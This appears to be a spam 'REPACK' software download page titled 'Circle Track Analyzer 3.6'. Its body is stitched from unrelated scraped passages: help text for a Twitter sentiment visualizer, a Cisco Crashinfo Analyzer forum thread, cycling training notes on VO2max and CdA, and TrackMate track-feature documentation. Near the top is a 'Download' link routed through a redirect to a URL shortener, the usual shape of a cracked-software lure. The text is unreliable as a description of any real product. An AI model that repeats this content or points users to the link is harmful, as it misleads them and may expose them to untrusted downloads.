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Circle Track Analyzer 3.6 REPACK


What Do I Do? Type a keyword into the input field, then click the Query button. Recent tweets that contain your keyword are pulled from Twitter and visualized in the Sentiment tab as circles. Hover your mouse over a tweet or click on it to see its text. Words highlighted in bold blue italics or bold orange italics are the words being used to estimate the sentiment of a tweet. Blue words are evaluated as-is. Orange words are evaluated as though they are negated, for example, "happy" versus "not happy".




Circle Track Analyzer 3.6


Download: https://www.google.com/url?q=https%3A%2F%2Ftweeat.com%2F2u7cYl&sa=D&sntz=1&usg=AOvVaw2dE5vge5ReKHGROKDdb314



What Am I Seeing? Tweets are visualized in different ways in each of the tabs at the top of the window. Sentiment. Each tweet is shown as a circle positioned by sentiment, an estimate of the emotion contained in the tweet's text. Unpleasant tweets are drawn as blue circles on the left, and pleasant tweets as green circles on the right. Sedate tweets are drawn as darker circles on the bottom, and active tweets as brighter circles on the top. Hover your mouse over a tweet or click on it to see its text. Topics. Tweets about a common topic are grouped into topic clusters. Keywords above a cluster indicate its topic. Tweets that do not belong to a topic are visualized as singletons on the right. Hover your mouse over a tweet or click on it to see its text. Heatmap. Pleasure and arousal are used to divide sentiment into a 88 grid. The number of tweets that lie within each grid cell are counted and used to color the cell: red for more tweets than average, and blue for fewer tweets than average. White cells contain no tweets. Hover your mouse over a cell to see its tweet count. Tag Cloud. Common words from the emotional regions Upset, Happy, Relaxed, and Unhappy are shown. Words that are more frequent are larger. Hover the mouse over a word to see how often it occurred. Timeline. Tweets are drawn in a bar chart to show the number of tweets posted at different times. Pleasant tweets are shown in green on the top of the chart, and unpleasant tweets are shown in blue on the bottom. Hover the mouse over a bar to see how many tweets were posted at the given time. Map. Tweets are drawn on a map of the world at the location where they were posted. Please note most Twitter users do not provide their location, so only a few tweets will be shown on the map. Hover your mouse over a tweet or click on it to see its text. Affinity. Frequent tweets, people, hashtags, and URLs are drawn in a graph to show important actors in the tweet set, and any relationship or affinity they have to one another. Hover your mouse over a node, or click on a node to see its tweets. Narrative. Selecting a anchor tweet of interest from the tweet list displays a time-ordered sequence of tweets that form conversations or narrative threads passing through the anchor tweet. Hover your mouse over a node or click on it to see its text. Hover your mouse over a link to see all threads that pass through the link, or click on it to see the tweets in each thread. Tweets. Tweets are listed to show their date, author, pleasure, arousal, and text. You can click on a column's header to sort by that column.


How Do You Estimate Sentiment? We use a sentiment dictionary to estimate sentiment. We search each tweet for words in the dictionary, then combine the words' pleasure and arousal ratings to estimate sentiment for the entire tweet. When you hover your mouse over a tweet's circle to see its text, the words in our dictionary are shown in bold italics. You can click on a tweet's circle to bring up a dialog that gives even more information.


@andrew as a follow up to your original question about "Cisco IOS-XE Crashinfo Analyzer is currently unavailable [471]" error you were receiving with the Crashinfo Analyzer, that has been resolved and it should now work. With that said, the "crash" that you describe sounds like a loss of connectivity, where IOS-XE didn't actually reset resulting in the creation of a crashinfo or corefile. If that is the case, the Crashinfo Analyzer will not help you as the purpose of this tool is to simply upload crashes in the traditional (reset) form of the word "crash". Along the lines of loss of connectivity due to the increased load on the device, @Leo Laohoo is right, the message you saw on the device is an alert from the system indicating there is already elevated utilization and can serve as a "last gasp" when memory utilization begins increasing. In a situation like that, determining what is using the memory is vital in that case. If the system is rebooted manually, when this is the state, that information is lost and tracking the memory utilization over time becomes important. If you need further help with that the support forums or the TAC can help!


Thanks Nicholas - Crashinfo Analyzer now works for me. The affected switch did have a number of crashinfo files but none were from the dates/times when my colleague bounced the uplink. I've analyzed a number of these files but none match any known issues but at least the analyzer is working now.


How hard can you go, in watts, for half an hour is going to be very different to how hard you can go for say, 20 seconds. Then thinking about how hard you can go for a very long time will be different again. When it comes to reviewing and tracking changes in your performance and planning future workouts you quickly realise how useful it is to have a good understanding of your own limits.


Your VO2max is largely determined through genetics; you won't become Greg Lemond (92.5) or Flavia Oliveira (76) if you work really hard. Other factors will also affect it; it tends to peak when you are about 20 and can drop by 30% by the age of 65; at altitude it is reduced due to the thinning of oxygen in the air. But VO2max can be improved with the right sort of training interventions and weight management and it remains the best way of tracking improvements in aerobic fitness as well as comparing athletes and determining their likely potential.


For those that don't own a gas exhange analyzer, HR may be an alternative way of tracking changes. There have been numerous studies that show that HR and oxygen consumption are closely correlated; so it is potentially viable to monitor average power to average HR ratios to track trends in aerobic fitness over time. But take care as HR can fluctuate day to day depending upon hydration, caffeine, sleep and other factors.


But there is still a problem, we know that work at high intensities for short durations elicits a different strain to work at low intensities for longer durations and there comes a point where more pain will give little gain. To counter this Dr Skiba introduced Ae and An TISS that are weighted differently for low and high intensity work and allow us to track these training stresses separately.


In the past, in order to test position and equipment and calculate our CdA we needed to know accurate values for; weight, speed, windspeed and yaw, power Crr, Rho, incline, gravity and acceleration. So a field test would typically be performed on a still day on a flat road; removing the need for the windspeed, yaw, incline and gravity terms. Then looking at speed for each run it would be possible to check if a position was faster or slower. But riding without wind and hills was almost impossible to do outside of a velodrome. And even then velodromes have problems because (believe it or not) riding around the track you (and others there at the same time) will create your own tailwind !


Spot features, such as 'Max intensity', 'Estimated diameter', etc., are calculated for all spots just after the initial filtering step. They are then used to select spots, based on filters set to retain only spots with a given feature below or above a specified threshold.By the way initial filtering is a good way to limit spot feature calculation time on spots you know to be spurious. With the current features, this not such a reason to do it: most feature analyzer are cheap computationally.


Track features are generated by the track analyzers documented in this section. Of course such features are only available after the tracking step, and just before the track filtering step. Since in TrackMate a track must have at least two spots, it is not possible to define track features for a track that would contain a single spot.


The size of the longest gap. That is: the number of frames that are skipped over by the longest gap in the track.For instance, a gap between a spot in frame 2 and a spot in frame 4 would generate a gap of size 1 (the frame 3).


The number of split events in a track. A split event is when a track divides in at least two branches, forward in time. For instance, a spot links to one spot in a previous frame and two spots in the next frame. This corresponds to e.g. cell division.


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